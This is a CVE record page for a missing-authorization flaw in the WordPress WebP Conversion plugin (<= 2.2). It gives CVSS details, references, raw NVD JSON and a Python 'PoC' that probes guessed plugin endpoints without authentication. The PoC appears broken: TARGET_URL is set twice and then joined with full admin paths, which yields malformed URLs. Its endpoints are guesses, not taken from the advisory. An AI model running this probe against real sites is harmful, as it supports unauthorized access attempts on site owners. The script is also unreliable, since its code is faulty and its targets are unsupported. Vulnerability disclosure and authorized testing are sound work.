CVE-2026-24530

Description

Missing Authorization vulnerability in sheepfish WebP Conversion webp-conversion allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects WebP Conversion: from n/a through <= 2.2.

CVSS Details

CVSS Score

5.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

No configuration data available.

sheepfish WebP Conversion <= 2.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2026-24530 PoC - Missing Authorization in WebP Conversion Plugin
# Affected: webp-conversion plugin <= 2.2

import requests
import sys

TARGET_URL = "http://target-site.com/wp-admin/admin-ajax.php"
TARGET_URL = "http://target-site.com/wp-json/wp/v2/"

def check_vulnerability():
    """
    Check if the target WordPress site has the vulnerable plugin
    and if the authorization bypass is possible.
    """
    # Check plugin version
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
    }
    
    # Try to access plugin-related endpoints without authentication
    vulnerable_endpoints = [
        '/wp-admin/admin-ajax.php?action=webp_convert',
        '/wp-json/webp-conversion/v1/convert',
        '/wp-admin/admin-ajax.php?action=webp_conversion_settings'
    ]
    
    print("[*] Testing for Missing Authorization vulnerability...")
    
    for endpoint in vulnerable_endpoints:
        url = TARGET_URL + endpoint
        try:
            response = requests.get(url, headers=headers, timeout=10)
            if response.status_code == 200:
                print(f"[+] Potentially vulnerable endpoint found: {url}")
                print(f"[+] Response: {response.text[:200]}")
            elif response.status_code == 403:
                print(f"[-] Protected endpoint: {url}")
            else:
                print(f"[*] Endpoint status: {response.status_code} - {url}")
        except requests.RequestException as e:
            print(f"[!] Request failed: {e}")
    
    print("[*] Scan complete. Manual verification recommended.")

if __name__ == "__main__":
    if len(sys.argv) > 1:
        TARGET_URL = sys.argv[1]
    check_vulnerability()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-24530
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-24530
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-24530/
[4] VulDB https://vuldb.com/cve/CVE-2026-24530
[5] https://patchstack.com/database/Wordpress/Plugin/webp-conversion/vulnerability/wordpress-webp-conversion-plugin-2-1-broken-access-control-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-24530", "sourceIdentifier": "[email protected]", "published": "2026-01-23T15:16:08.993", "lastModified": "2026-04-28T15:16:10.697", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in sheepfish WebP Conversion webp-conversion allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects WebP Conversion: from n/a through <= 2.2."}, {"lang": "es", "value": "Vulnerabilidad por ausencia de autorización en sheepfish WebP Conversion webp-conversion permite explotar niveles de seguridad de control de acceso mal configurados. Este problema afecta a WebP Conversion: desde n/a hasta <= 2.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/webp-conversion/vulnerability/wordpress-webp-conversion-plugin-2-1-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}